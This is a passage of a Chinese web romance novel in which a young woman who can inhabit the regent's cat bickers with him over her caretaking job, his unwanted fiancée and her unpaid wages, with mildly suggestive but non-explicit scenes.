那便退一步,“是侄儿叨扰了,实在是赵家父母担忧女儿,求到了侄儿这里,还望皇叔体谅为人父母的难处,莫要伤了赵小姐。”
谢燎起身,朝谢珩玉躬了躬身,而后带着自己人离开。
茶厅瞬间变得安静了。
白昼出现,“王爷,二皇子这两年行事愈发低调,不知道是韬光养晦,还是真的无意争储,他轻易不出头,这回,竟先后为赵家求情两次。”
谢珩玉盯着人走远,再看向棋盘时,发现少了一颗棋子,“所以?”
白昼得出结论,“可见赵家真是下了血本,来驱动二皇子。”
谢珩玉垂眸,并不认同。
说不准是为了人呢?
可左思右想,赵福宁有哪里特别出众?
他只觉得,此女甚是麻烦,也会招来麻烦。
方才拒绝谢燎,是因为谢珩玉不喜顺从别人,然而心里,早在知道赵福宁只顾她自己泡澡时,就后悔了将人带进府来。
想着,他转身踏出茶厅,漆黑的双眸,在望向天空时,也没有被星光照亮。
眸中似是一汪深潭。
自己带回来的人,自己亲自去赶走。
东无院,卧房中微光还亮着。
许是因为天气有点热,福宁口干舌燥的,故从被窝里钻了出来,跳到地上,在跃到桌上。
抬起爪子去按水壶倒水。
怕水洒了,她动作慢慢的。
“哗哗哗”的水声响起,顺利地将水倒在了茶盏中。
福宁低头,咕噜咕噜地喝着水,嘴边的毛发也因此沾湿。
忽然,两耳一动,听得院外响起几道脚步声,由远及近。
谁来了?
大晚上的,不会谢珩玉又回来了吧?
福宁趴在桌上,差点站起来,扭头看向床榻上的自己,已经睡着了怎么办!
果然还是到了她最担心的环节。
脚步声到了门外,停下。
白昼的声音响起,“王爷,里面光很暗,赵小姐可能是睡下了。”
谢珩玉哪管她睡不睡,“让她起来。”
起不来怎么办啊!福宁急得像热锅上的蚂蚁。
好在他
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虽话说得霸道,到底是没有直接闯进来,敲门的声音传来。
福宁紧闭着嘴,不发出一丁点动静。
外面,白昼:“真睡下了,要不让小云去将人叫醒?”
“麻烦。”谢珩玉不耐烦道。
福宁只听见他的不耐烦的声音,没有看见他不耐烦地点头。
待会小云进来,叫不醒她怎么办?
会不会秘密就此被发现?
干脆,试试看自己能不能叫醒自己吧!
她纵身一跃,从桌上跳下,准备回到自己身上。
奈何,动作太快,不小心将桌上的茶水也洒了,杯盏沿着桌面滚滚滚——
“啪!”
掉在地上,碎了。
福宁汗**立起,扭头看见一地碎瓷,惊恐极了。
声响传到门外,谢珩玉眸光一凝。
没睡着竟敢不应声!
当即将房门一脚踹开。
一阵风吹进屋内,身上的****被吹起,福宁逆风凌乱地仰着头,看着门外气势汹汹的来人。
大概是小福太过于矮小,对面主仆二人都没有注意到她。
谢珩玉大踏步进屋,差点就要踩到迷茫的她。
“妙!”她大呼一声,惊悚地前后爪同步跳起来,往榻上跳。
连跳两下,张开怀抱,往自己身上扑去。
又因准头不对,啪的一下,肚子上的****盖住了自己安详的脸。
谢珩玉早在听见猫叫时,就驻足了。
“王爷!前后才这么一会儿,小福就生龙活虎了!”白昼站在门槛边,惊喜道。
白日那大夫还说要三天,小福竟然这么早就恢复了?
谢珩玉面上阴霾散去,内心松了口气。
地上一片
不过,在注意到榻上安睡的人时,散去的阴霾再次重现。
小福醒了,赵福宁竟顾自己大睡!
刚才房中发出的响动,看来也是小福闹出来的。
地上破碎的瓷片和水渍混在一起,狼藉一片,但凡一个不小心,小福就有可能踩到瓷片,而该照顾小福的人,全然不知!
“赵福宁!”
谢珩玉没有走近,声音低沉愠怒。
少女毫无清醒的迹象,睡得跟猪一样!
第33章 要被谢珩玉看光光啦!
谢珩玉皱了皱眉,语气加重,又喊了一声。
这兴师问罪的态度,急坏了福宁,她试图晃醒自己。
低头才发现,一直将自己的脸埋在身下。
她急忙往下挪动身体,好险,差点把自己给闷**。
福宁趴在自己的胸上,伸出爪爪摇晃自己的肩膀,刚才喝水时弄湿的毛发,频繁蹭过自己的肌肤。
“喵~喵一~”
醒醒,醒醒啊!
醒不过来。
……
谢珩玉隔着一丈距离,看着这怪异的一幕——
被褥早不知何时,就褪到了少女的腰际,好在她穿着并不露骨,还是刚才那套襦裙。
自己的小猫,正趴在她……凸起的胸部,一下一下摇晃着她的肩膀,连带着她的人也跟着晃悠。
谢珩玉眼皮一跳,皱着眉走过去,试图将小福拎起来。
他低着头,手还没碰到小福,就已清晰地将她的睡颜收入眼底。
是真的睡得很死。
冰风扇制造出的凉风,一阵阵吹来,将她的发丝吹起,襦裙的料子像是湖面波纹般荡漾,白皙无瑕的锁骨肌肤上,好像有莹光点点。
不知道是汗,还是小福弄上去的水渍。
这分不清是汗还是水的东西,使得少女身上的柔软衣料与身子紧贴着。
谢珩玉眸光一闪,心里厌恶,厌恶她的消极怠工,厌恶她睡得太死,厌恶她……还有什么呢?
还有,睡觉不盖被子。
他不再去看她,只想将小福抱起来。
福宁感受到后颈被捏住,张开两爪,紧紧地抱着自己的脖子。
生怕离开了自己的身体,谢珩玉就会对自己不利。
苍天啊!
她闭着眼,死不撒手。
谢珩玉原本不舍得用力,可发现小福这么不听话,不过才几个时辰,就忘了谁才是她的主人,她的衣食父母了!
遂,加大力道,顺利将她提起。
福宁感受到身体凌空的同时,还听见“刺啦”一声,她茫然地睁开眼,只见爪子上还残留着一丝衣料。
!!!
她低头,蓝色的眼眸瞳孔大张。
原本贴合在肩膀上的衣料,被爪子勾起,经这一拉扯,彻底破碎了!
“喵,喵!”
不许看啊!谢珩玉!
福宁在半空中拼命挣扎起来。
少女身上的幽香,经过冰风车的传递,萦绕在谢珩玉的周身,怎么也散不去。
他喉间一紧,目光不小心触及到她裸露的肩头,只是一瞬间,就立马移开了视线。
那只常年握剑的有力的手,在刹那间竟失了力道。
半空中的福宁,在挣扎中,毫无征兆地掉落下来。
掉在了自己的肚皮上。
啪嗒。
感受到身下的肚子往下一陷,福宁心里害怕,谢珩玉是不是有毛病啊!为什么不好好放她下来,她砸死自己怎么办?!
“喵。”
哎。
福宁抚摸一下自己的身体,然后往上攀爬,重新挂在自己的脖颈处。
用小福的一坨身体和毛发,挡住自己裸露的肩头和肌肤,留一点体面,不让谢珩玉看光光。
门槛边,白昼见王爷站在榻前,许久没出来,也没吩咐,主动询问,“王爷,怎么了,是否要属下帮忙?”
“不必。”谢珩玉快速答道,语气有些重。
他拧着眉,凉爽的风伴随着淡淡的香气,频频吹来,他心中烦躁更甚。
看着被小福彻底挡住了人,即便这样也没有醒过来,他都要怀疑对方是**。
故,伸手探了探鼻息。
没死。
浅浅的呼吸喷在他的指节上,他条件反射地收回了手,大踏步转身出去。
走了两步,又折回来将冰木车风扇关了,这才离开。
“关门。”他出屋后命令道。
白昼不解,“小福身体好了,王爷不带小福走吗?”
谢珩玉抬步朝院外去,一下都不停,也不回答。
白昼只得跟上。
若是跟得再近些,或许就能发现,他从屋内染上的淡淡香气。
这香气,伴随着他,又好像只有谢珩玉自己能闻见。
直到回了自己的房里,打开了自己的冰风扇,
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才慢慢被吹散。
以往,多是跟小福一起睡,今夜,倒显得过于安静了。
可是一想到小福,他的脑海里便不合时宜地想起一些东西。
小福竟那么黏她,这倒是他没意料到的。
想来,除了睡得死些,还是能照顾好小福的。
深夜,主屋的光逐渐熄灭。
与此同时,东无院的冰风扇,在福宁好一阵努力下,重新打开,累得毛发都热得冒汗,再重新躺在自己身边。
沉沉睡去。
一少女一奶猫,一夜无梦。
但,府中人多,总是有人会做梦。
主屋漆黑的房中,浅浅的呼吸喷洒在男人的指节处。
痒痒的,热热的。
“嗯……”
似蚂蚁啃咬,又似有湿软的东西附在上面蠕动。
少女耳朵上的猫耳朵,一下一下地蹭着男人的下巴。
谢珩玉睁开眼,眼中凶狠一闪而过,左手精准地按住少女的脖颈,要将她当做爬床的贱婢杀死。
房中烛光忽明忽暗,他却看不清女人的脸。
即便看不清,也能感觉出她的五官极美,她的头上还戴着猫耳朵。
是她。
是昨日梦见过的女子,他竟又做梦了。
但是梦又如何,谢珩玉不会允许,任何事务超乎自己的掌控。
“你是谁?”
他听自己这样问。
但同时,手上的力道加重,他根本没给对方回答的机会。
可少女仿佛不会窒息,她若无其事地伸手,勾住他的颈部,气息轻轻喷在他的脸上。
勾引他。
“找死。”他厉声道。
浅蓝色的丝质寝衣微微下滑,少女露出了无瑕的香肩。
谢珩玉自认自己不是好色之人,从未被美色所迷惑,可当目光垂落在少女小巧的肩头,他手上的动作竟不自觉地顿住了。
连呼吸也加重了几分。
这个肩头……还不及他掌心大。
只是出神了这一会儿功夫,少女的唇便附了上来。
还未亲上,谢珩玉反应过来,将人一把推开,踹下了床!
第34章 真的小福醒了
他讨厌不能掌控的感觉。
哪怕是在梦里,有一次失误,就够了。
随即,梦里的烛光熄灭,四周陷入黑暗。
不晓得具体是在哪个时辰,男人低哑的喘息声响起,隐匿在月光下。
在天微微亮起时,谢珩玉已经自己穿戴整齐,出门上朝。
他走后,下人在管家的监督下,进入房中收拾。
在瞧见床上的痕迹时,年纪小的丫鬟尚不知情况,十七八岁的丫鬟悄悄红了脸,为首的嬷嬷没当回事,但在与管家相视一眼后,严肃地交代丫鬟们不能外传。
丫鬟们谨慎地点头,将床单换了之后,退下。
*
谢珩玉回来时,已经日上三竿。
有了昨晚的前车之鉴,他是不会再去东无院了,秉着平日该有的高冷,“让她过来。”
说完又补充,“带猫过来。”
不出片刻,白昼来回话,“小云说,赵小姐还睡着。”
在桌案前批阅奏折的谢珩玉,冷冷地将奏折拍在桌案上,“你去传,再睡,报酬减半。”
“是。”白昼又去了。
小云迫于压力,进屋喊人。
站在床前,看见赵小姐衣裳破破的,惊讶地捂住嘴。
第一个想法,就是赵小姐被人非礼了。
很快,自己否定了,毕竟这里是王府。
看来,是小福抓破了赵小姐的衣裳。
“赵小姐,王爷说如果您再不醒,报酬就要减半了。”
酬劳减半怎么行!
福宁唰地睁开眼,不到一刻钟功夫,梳洗穿戴完毕,搂着小福去了谢珩玉的居所——燕景园。
入园时,福宁抬头看了眼大气的匾额,小云当她第一回来好奇,便主动说起由来。
“圣上初登基时,封王爷为燕景亲王,食邑万户,不论是封号还是食邑,都是本朝独一份的荣宠。”
“整个大齐都知道,王爷是圣上最疼爱的弟弟,连这园子的匾额,都是圣上亲自提的字。”
“三年前,王爷弱冠,被敕封为摄政王,燕景王府便成了摄政王府,这园子的名一直未改。”
小云滔滔不绝地说着,福宁不停地点头。
直到两人被侍卫拦住,小云的话音才停住、原路返回,独让福宁一人进去。
她抱着怀里仍睡着的小猫,踏进燕京园的膳厅。
还未入内,就瞧见铺满一桌的早膳,谢珩玉坐在圆桌前,他的朝服以紫色为底,袖口与前胸用金线勾勒出繁复的云纹图案,既矜贵,又不失威严。
依稀记得,他上回穿得朝服是黑金色的,看来他的朝服还挺多的嘞。
正这般想着,正在咀嚼食物的谢珩玉抬眸,正对着门望了过来,而后便没有移开目光。
福宁被盯着,头皮发麻,加快脚步步入膳厅,“参见王爷,王爷有什么吩咐?”
谢珩玉微微抬了抬下巴,简单地吐出一个字,“坐。”
她竟然还有座位?
福宁想寻个离他最远的位子。
可最远,不就是对面么,一抬头就对上眼神,也不好。
她想着,最后小心翼翼地落坐在对面稍偏一点的位子。
谢珩玉没说什么,下人上来将新的碗筷摆在她的面前。
桌上有好几个州府的招牌小吃美食,香得福宁肚子都有动静了,她单手抱着小福,右手缓缓拾起筷子,去夹面前的拇指煎包。
没放进碗里,轻轻吹了吹,张嘴就要吃下。
站在边上的白昼斥道:“赵小姐,是让你喂小福用膳,不是你吃,你是什么身份,王爷要跟你一桌用膳?”
“……”
现实就像一瓢冷水,煎包瞬间不香了。
还抬着的手颤了颤,福宁垂着眸,尴尬地抿了抿唇,将煎包放到了碗里,“对不起,我以为小福还没醒,这会儿不用吃。”
谢珩玉不语,抬眸瞥了她一眼,见她脸上闪过尴尬、惊讶、羞恼、无奈,所有情绪交织的最后,都化作了认怂。
“叫醒它。”他发话后,再度垂眸,伸出筷子,
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夹了最远的拇指煎包,嚼着咽下。
叫的醒吗?
福宁不确定,她轻轻拍了拍小福。
白昼古怪道:“昨夜不是恢复了吗,生龙活虎的,今天怎么又蔫了?”
福宁没法回答这个问题,只能装模作样地多唤两声小福。
没想到的是,小福真的睁开了眼睛。
虽然只是一条缝。
蓝宝石的瞳孔对上她惊讶的双眸,虚弱又亲昵地发出声音,“喵~”
小福真的醒了??
福宁喜出望外。
所以,小福恢复身体后,是可以拥有它自己的意识的!并不会因为她而死掉!
有了这个结论,她的嘴角肉眼可见地上扬,“小福醒了?真的醒了!”
她的愉悦忍不住,激动地抬头,对上谢珩玉刚收起笑意的冷脸。
谢珩玉意识到了什么,犀利地问,“小福昨夜就醒了,你一直不知道?”
福宁笑不出来了,失了些底气,“……知道啊。”
她当然知道,可昨夜醒来的不是小福,是她啊!
那能一样么。
她的回答,让膳厅内的主仆两人不满,白昼气愤道:“属下看赵小姐根本是不知情,睡得那样死,能知道什么。”
“行了,”谢珩玉无意扯这个话题,只吩咐她,“喂它。”
福宁低头,见小福还很虚弱,显然是没法吃硬的东西,便倒了小半碗鱼汤,一勺勺喂它。
每喂一口,还要用帕子擦擦它的嘴角,避免汤流下来。
谢珩玉余光见着她认真谨慎的样子,偶尔抬头监督地看一会儿。
她倒是心无旁骛。
她臂腕白皙,抬手的时候,总避免不了露出黄金镯子的一角。
他忽然开口,“赵福宁。”
“嗯?”福宁下意识地应,仰头对上他严肃的眉眼,立马放低姿态,露出自认为狗腿的笑脸,“王爷有什么吩咐吗?”
谢珩玉看着她漾起的笑,不自觉蹙了蹙眉,“你见过有猫喜欢黄金的吗?”
第35章 赵福宁,本王不想看你笑
“啊?”明明鱼汤没喂到自己嘴里,福宁却觉得噎,手一抖,还好勺子上没汤,不然就要洒小福脸上了!
谢珩玉为什么这么问啊?什么意思?
难道是偷了——拿了他一点黄金,他起疑了?
福宁垂下的目光瞅着小福清澈的猫眸,左瞥右瞥,敷衍道:“有的吧,每个猫肯定都有自己的喜好。”
“……”
没听见对话的回答,福宁一时不敢抬头,怕对视暴露了自己的心虚。
她继续道:“原来小福喜欢黄金啊,真是特别呢!”
谢珩玉觉得她的夸赞很虚假、殷勤,他皱了皱眉,没有接话。
倒是白昼,跟傻子一样赞同她的话,“小福喜欢亮闪闪的东西,睡觉喜欢抱着。”
福宁灵机一动,点点头,“可能小福觉得黄金有安全感吧,等病好了,可以准备些黄金让它抱着睡。”
这样,她就可以通通带走啦!
白昼很认真地请示:“王爷,要不属下干脆让人给小福打造一个黄金小窝吧!”
倒是豪横。
但是——
“不行。”她插嘴。
带不走啊!
她郑重其事地解释道:“太闪了小福也会睡不着的,其实小物件是最好了,她想抓着就可以抓着,对吧?”
说完,用笑容掩盖自己的心虚。
谢珩玉格外多看她一眼。
他微凉锐利的目光扫过来,令福宁心惊,就怕自己露了马脚。
紧张之际,却听他冷漠霸道地命令她——
“别笑。”
“难看。”
福宁愣住,假笑僵在脸上,显得更假了。
好吧,难怪摄政王府的侍卫,包括白昼都不爱笑,原来是因为摄政王讨厌别人笑啊。
也对,殷勤讨好的假笑能好看到哪里去呢!
福宁豁然开朗,并不觉得难堪。
她于心中自洽,差点又想笑了,赶忙收住。
彼时,管家来报——
“王爷,寿安伯府的大小姐求见。”
谢珩玉眉眼都不抬,也不问来意,“不见。”
看来他真的不喜欢江雪娥啊。
管家没离去,补充道:“江小姐带着皇后身边的女官一起来的,女官说,要商量您与江小姐的成婚事宜,另外请您替江小姐选一套嫁衣。”
商量婚事,新娘子亲自上门?
跑到新郎的府邸,让新娘子换嫁衣给新郎选?
哪怕对方是摄政王,也太离谱些了吧!
福宁紧闭着嘴,不让自己发出一点惊讶的声响,但心里还在感慨门当户对的重要性。
又联想到自己,家道中落,不嫁崔兰亭,确实是明智之举。
看着少女一对秀眉拧紧又松开、松开又凝起,像是在唱一出哑戏……谢珩玉移开眼,不悦道:“让她进来。”
有了女官在,碍于皇后的颜面,也不能将人拒之门外。
福宁悄悄抬眸,被谢珩玉发现,他冷声问,“怎么?”
“我走?”她慢慢地要起身。
谢珩玉不明白她的脑子里在想什么,一个照顾猫的,雇主没开口,她走什么走?
他也不喜顺着人,“坐回去。”
福宁板着脸,坐实,“哦。”
管家快步出去回女官的话。
江雪娥低眉顺目地跟在女官身后,左右两侧跟着从宫里出来的十几名宫女,各自捧着嫁衣、首饰等。
跟着女官步入了王府中,江雪娥步步生莲,没有仰头东张西望。
她虽美貌冠绝京城其他贵女,但因父亲平庸、家族没落,没少受其他贵女的白眼,好不容易因一纸赐婚被京中女眷追捧,饶是摄政王府再辉煌气派,她也绝不能露怯惹了女官和摄政王的轻视。
反正,将来成为王府的女主人后,有的是机会观望。
走入燕景园内,膳厅的门大敞,江雪娥因低着头,没第一时间看见里面的人。
只是前面的女官停步,她也被迫停下步来,听见女官问管家,“那名与王爷同桌用膳的,是谁?”
江雪娥心头一震,想到昨日所担心的问题,她再守不住所谓的礼仪规矩,抬起望去。
只见膳厅中,少女展露出饱满精巧的侧颜,正抱着一个襁褓,用汤匙给襁褓里喂着什么。
而那个、权倾朝野的男人,低垂着眉目瞧着她怀中的襁褓。
不,江雪娥不太分辨得出,他看的是襁褓,还是少女。
他忽然张嘴说了什么,随后少女起身,将襁褓递给了他,他双手接过。
耳边管家对女官道:“那位是前户部侍郎的千金,赵小姐,王爷请来照顾小福的。”
“原来如此。”女官心中记下这事,没再多问。
知道的,知道
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襁褓里是一只猫。
不知道的,还以为膳厅里是一家三口其乐融融呢!
江雪娥温婉的眉目闪过嫉恨,昨日担心的事情还是发生了,赵福宁这人,绝没有以往表现出来的那般简单。
她定是在扮猪吃虎,用纯真之态,勾引摄政王!
赵家父母真是没用,明明昨天已经派小厮去传话,一夜过去,竟然还没能将赵福宁接回去……说不准,赵家都是存了攀附摄政王的心思,一家都在扮猪吃虎!
“江小姐,”女官回头时,江雪娥面上厉色还未掩饰,女官笑了笑,“倒是巧了,你与赵小姐都穿了蓝色的襦裙,不过以江小姐的美貌,无需自卑。”
自卑?
和赵福宁相比,有什么好自卑的。
江雪娥低头,想到今日特意穿了浅蓝色的襦裙,本意是想体现少女的淳真,与平时白裙所体现的高雅美丽不同,她想给摄政王展现另一面。
倒是阴差阳错与赵福宁撞了色,那就正好趁此机会,艳压她一头,好叫王爷知道,鱼目与珍珠的云泥之别。
那头。
福宁将小福递给了谢珩玉后,就站一旁了。
来自屋外那名女官和江雪娥的目光,如针般扎在脸上,忽视不了。
她抬眼看去,女官在笑,江雪娥也朝她笑了。
只是后者的笑,怎么看怎么瘆人。
女官带着江雪娥步入膳厅,两道女声齐齐响起——
“下官参见王爷。”
“臣女参见王爷。”
谢珩玉亲自给小福喂了一口汤,“本王待会有事,掌事尽快安排吧。”
女官点头,“皇后娘娘选了几个良辰吉日,请王爷挑选。”说着,就要将册子递上来。
谢珩玉起身,将小福递到赵福宁的手上后,往外走,女官与江雪娥一并跟出去。
福宁就躲在膳厅里,打算等他们走远,自己再溜回东无院。
谢珩玉坚决道:“皇兄未病愈,本王绝不定婚期。”
女官语塞,“这……下官会将王爷的话禀给娘娘,那请王爷先选婚服嫁衣。”
女官挥手,宫女们将嫁衣端上来,请江雪娥去换。
后者嫣然一笑,“请王爷稍待臣女。”
谢珩玉何时同意了?他看着两人一唱一和、自作主张的样子,心中生厌:
“本王不选。”
第36章 拒婚?羞辱?
江雪娥笑意僵住,身形一晃,“王爷是何意?”
连人话都听不懂,谢珩玉皱眉,连带看她身上的蓝色也很刺眼,“你自己选。”
江雪娥咬着唇,**得差点流下眼泪。
女官恭敬道:“王爷,按照大齐的规矩,新娘的嫁衣当由新郎来选,新郎的婚服由新娘来选,但王爷您身份尊贵,故都由您选。”
谢珩玉:“本王若偏不选呢?”
女官神色有一瞬间的狰狞,摄政王是反骨不成!
这么不配合,看来摄政王是真的不喜欢江大小姐。
女官颔首道:“下官会将王爷的话带给娘娘,不过,娘娘也有交代,王爷与江小姐既是未婚夫妻,合该多相处培养感情,故而让江小姐在王府游玩一会儿再走,下官先行告退。”
语毕,也不将这些嫁衣首饰拿走,反而带去前厅搁着,女官冷着脸带着宫女离去。
留着江雪娥跟着走也不是,不走也不是,对上摄政王阴沉的脸,江雪娥心尖一颤,“王爷……是对臣女有什么意见吗?”
此时,没了皇后派来的人,谢珩玉直截了当道:“这桩婚事并非本王之意,皇后一意孤行赐了婚,碍于皇兄颜面,本王没有拒绝。”
谢珩玉虽不觉得江雪娥会投入情感,但还是说清楚为好,“待圣上病愈清醒些,自会替皇后收回成命,本王的话,你可听懂?”
江雪娥站在庭院中,自觉与站在风雪中没什么两样,“是皇后一意孤行……不是王爷的意思吗?”
这与父亲说的,根本不一样!
原来摄政王,竟不曾心仪她,如今还这般羞辱……
她呢喃的声音很轻。
然,谢珩玉是练武之人,耳力胜过常人,“你以为,是本王的意思?”
他语气古怪,在自认为被侮辱的江雪娥听来,就是在嘲讽她的自作多情。
江雪娥双颊透红,如有地缝真想钻进去,“没,没有,臣女不敢肖想。”
抹了脂粉的脸上有泪水划过,早上来时的喜悦早就被不甘吞噬殆尽。
父亲一直想用她攀附高门,已将她拖到了二十岁,再往后拖下去,她便只能做权贵继室。
好不容易有了攀附摄政王,成为大齐摄政王妃,成为除皇后以外,最尊贵的女人的机会,她怎么能甘心就此放手?
若就这么放了手,她怎么对得起自己,对得起父母?
不。
这次,是她距离摄政王最近的机会,她要好好把握住这个机会。
“但是——”江雪娥露出一抹苦涩的笑,“臣女若被退婚,会遭耻笑的。”
谢珩玉敛眉,“本王可以保证,不会有人置喙此事,一切照常。”
江雪娥故作勉强坚强地勾了勾唇,“多谢王爷,王爷没有传闻中的无情,看来,是外人都误解了王爷。”
庭院里早清了场,除了白昼在,没有别人。
但这话却有四个人听见了。
膳厅里还有个福宁在,她靠在门边,没人关注她。
她发誓,真的不是刻意要偷听的,可是又没有适当的时机溜走,跑出去真的会很显眼啊。
不过,叫她意外的,是谢珩玉会这么直接。
江雪娥说得不错,看来他也不是对所有人都那么无情的,只是对赵家很无情罢了。
哎!
“喵~”怀里的小福很不合时宜地叫了一声,换了个姿势继续睡。
……
婉转的猫叫声,昭示着赵福宁还在。
江雪娥面部差点扭曲。
本想以柔克刚,安慰摄政王的寂寥的内心。
可是一想到对话都被赵福宁听见了,包括摄政王不喜欢自己,也被赵福宁听见了!
她心中便像是把柄被人抓住一样难受。
但如今,箭在弦上不得不发,今日必须与摄政王拉近关系。
江雪娥往前走近一步,“王爷的好,臣女知道,王爷想与臣女解除婚约,臣女也会配合王爷的,若是皇后娘娘那边有任何交代,臣女会及时告知王爷,不让王爷难做。”
谢珩玉垂眸摸了摸左手的玉扳指,唇畔扯出一个弧度,“哦?你倒是……善解人意。”
“善解人意”,咬得极重,像是有什么别的含义。<
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br>江雪娥沉浸在自己的计划中,没注意到什么不同,嘴角勾了勾,“臣女愿为王爷分忧。”
就是这样。
表面做出愿意退婚的态度,摄政王便不会讨厌她。
但只要婚约未解除一日,她就有机会接近他,今日他不为她折腰,不代表将来不会。
至于,房中那个人……
江雪娥舔了舔干燥的唇瓣,轻柔抬眸,“若王爷有心仪之人,臣女也愿意为王爷打掩护,福宁妹妹是个善良的,她心仪王爷,虽家风不正,如果王爷与她两情相悦——”
什么两情相悦!
福宁无语,江雪娥在胡说八道,分明不安好心。
那头,谢珩玉没等江雪娥说完,就笑出了声。
“呵。”
福宁嗅到了危险的气息。
谢珩玉噙着笑,“本王遣走下人,是给你体面,你若给脸不要,本王也不介意碾碎。”
江雪娥自认没有说错话,却得了摄政王这番恶言,当即脸色白了又白。
白昼冷冰冰地送客,“江小姐,请吧。”
就仿佛她是倒贴上门的,江雪娥是有羞耻心的,尊严被再三践踏,她感觉脚下有一股热气向上冒,脸蛋也被蒸红了。
实在无颜继续留在王府,只好跟着白昼出了燕景园。
燕景园外站了两列待命的侍女和小厮,见江雪娥出来了,再鱼贯而入回园中各司其职,其中一位叫雀儿的被白昼叫住,负责送江雪娥出王府。
雀儿作为燕景园的丫鬟,早就对这位未来王妃有所好奇,她尚不知刚才园中的对话,欢喜地接下这份差事,“江小姐,奴婢雀儿。”
江雪娥点点头,沿着来时的路返回。
雀儿存了几分巴结未来女主人的心思,几度想张口搭话,又怕唐突了未来王妃,一时无言。
走到四下无人之地,倒是江雪娥先开了口,“王爷他……平日里喜欢吃什么,做什么?”
今天没能走进摄政王的心中,不代表将来不能。
哪怕刚才受了**和打击,她也不会放弃,感情之事得徐徐图之,着急不得。
第37章 摄政王要福宁的手镯!
雀儿乐意卖个好,“王爷不挑食,非要说偏好的话,王爷喜肉类、米面等重饱腹感的食物,所以厨房会搭配食谱,汤水粥类不会做主食出现。”
“王爷没什么特别的喜好,除了上朝或公务,一般不出门,每日会有一个时辰练剑,从前每个月都会与圣人去皇家园林狩猎。”
江雪娥记在心里,看来摄政王大多时候在府中。
这般,想要在外偶遇王爷,可就难了!
她叹息一声,又问,“那,府中可有通房妾室这些?”
雀儿笑嘻嘻地摇头,“没有的,莫说是通房了,王爷都不需要奴婢们近身伺候的,奴婢们也就做做添茶倒水的事。”
江雪娥稍微放心了些,至少除了赵福宁以外,并没有别人能威胁她的地位了。
她嘴角荡漾感激的笑容,“雀儿,多谢你告诉我这些。”
雀儿受宠若惊,“这是奴婢应该做的,待您嫁给王爷,您便是王府的女主人。”
看来,王府的下人们真的不知道王爷不喜欢她。
江雪娥没有反驳,眼眸一转,问起最重要的,“那……王爷与赵福宁之间,可有什么不同寻常的?”
雀儿恍然大悟,原来江小姐是担心这个,“赵小姐昨日来,便一直居住在东无院,并未有逾越之举,倒是王爷……”
江雪娥心头一紧,预感不好,“王爷真喜欢她?!”
“不是不是,”雀儿见她误会,连忙解释,“奴婢是想说——”
雀儿已将江雪娥当做未来女主人,便把嬷嬷交代过的封口抛之脑后,贴近一步,附到江雪娥的耳边低语:
“王爷梦遗了。”
江雪娥瞪大眼,像是听到惊世骇闻。
她已二十岁,自然明白这是何意。
只是太出乎意料。
不说高门贵族,哪怕是普通的官宦子弟在精力旺盛的年纪,有需求也会娶妻纳妾。
摄政王是何等身份,想女人却不找女人,这……
“王爷经常这样吗?”她轻轻问。
雀儿羞红脸摇摇头,“就是这两日的事,从前日开始的。”
这么一算,至少可以确定摄政王梦遗,和赵福宁没有关系了。
赵福宁是昨天才进的王府。
江雪娥暗自松了口气。
细细想来,摄政王是有欲望是好事。
她大概知道,自己该怎么做了。
出了王府后,就见远远的,赵家的马车驶来。
*
“出来。”
谢珩玉还在庭院里,不知对着谁说话。
赵福宁抱着小福,慢慢走出,语气歉疚,“王爷,我不是故意——”想听你们说话。
谢珩玉也不是很想听她说话,打断,“**说你心仪本王?”
福宁要走近的步伐顿住,离得几丈远就想跪下,“我不敢肖想王爷,她那是污蔑!”
谢珩玉看着她撇清干系的样子,仿佛几日前披头散发想引起他注意的人,不是她一样。
他盯着她,眼神渐冷,“谅你也不敢。”
语毕,便见她松了口气。
她跪在地上,蓝色的裙摆散开在石板砖上,仿佛一朵不该盛开在王府的花,在他的庭院盛开了。
蓝色,很是晃眼。
“赵福宁。”
大概是因为名字里带着福字,谢珩玉记住了她的名讳。
“王爷有何吩咐?”福宁跪着,抬头。
隔着距离,谢珩玉没走过去,疏离地开口,“小福已经痊愈,不需要你了。”
福宁先是一愣,后双眸绽开惊喜之色。
可以提前回去,真是太好了!
不然都像昨晚那样,到了晚上喊都喊不醒,真的很危险!
手上那只手镯,到现在都还没拿下来。
“多谢王爷!”她道。
看她欢喜的模样,谢珩玉有点烦。
福宁将他不耐之色收入眼帘,联想到他说过的话。
不好!差点忘了摄政王厌恶笑容。
她立马收住笑容,一本正经开头,“对不起,再不敢笑了。”
谢珩玉眉头蹙了蹙。
此时,管家又来报,说赵家父母来了,求见摄政王。
谢珩玉眉头蹙得更紧,两步走到福宁面前,将襁褓中的小福接过来,一句话都厌烦说,转身进了书房。
跪着的福宁两手还呈抱小孩的姿势,看了看书房的方向,又迷茫地看了看管家,“所以,我是现在就可以回去了,对吧
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?”
管家:“……”别问他啊,他哪知道。
福宁从地上爬起来,拍拍膝盖,“管家,那个,银子怎么支给我啊?”
管家难做,“王爷没说。”
福宁眼底的欢喜一下子消失了:“什么意思?不给了?”
那怎么成!
她提心吊胆、忍气吞声、低声下气、委曲求全、忍辱负重、如履薄冰地过了一晚上呢!
怎么可以不给银子!
遂,气势汹汹地朝书房走去。
一到门外,就换了一副卑微的嘴脸,“王爷,说好的银子是不是应该让管家结一下呀?”
声音轻得像是怕吓着他。
实则不然。
她是怕他生气砍了她。
隔着门,书房寂静无声,没人理她。
半晌,只有小福回应,“喵喵~”
福宁抿抿嘴,继续,“三天一百两,一天应该是三十三两,对的吧,我让管家去给我支喽?”
“喵喵~”小福又叫了。
福宁正要转身走,里头人有了动静——
“让管家算算,你花了多少银子。”
……
这回,轮到福宁沉默了。
她花了多少银子,指的是……她低头,看看这一身崭新的衣裳。
不是,王爷这么小气?
若不是他不让她回家,她何至于要拿王府的新衣裳穿?
但这些话,她又怂得不敢说出来。
比起拿不到钱,到底还是不能回家更可怕。
但,管家不知何时站在了她的身后,得了吩咐真就开始算了:
“赵小姐身上的裙子用的料子价值不菲,估价二十两,昨夜的晚膳、热水、发油香膏等等,合算出来至少四十两,您还得倒贴七——”
福宁瞠目结舌,“吃喝也算?府上难道不管吃喝的吗?”
管家义正言辞地道:“下人有下人的标准,赵小姐超标了。”
“你,你们……”她难道还要倒贴不成,“我没钱!”
书房的门,适时开了。
谢珩玉站在台阶上,高高在上地看着她没戴首饰的头发。
当然,若是戴了,银子还得加。
他淡然启唇,“不是有个手镯吗?”
第38章 欠王爷债务七两
!!!
福宁倒吸凉气,双眸警惕,将双手背到身后。
手镯是绝对不能给的。
万一王府里,有人认出了这个镯子是赃物,她跳进黄河都洗不清了。
谢珩玉看着她那双大又亮的眸中,覆上戒备的光。
他突然觉得眼熟。
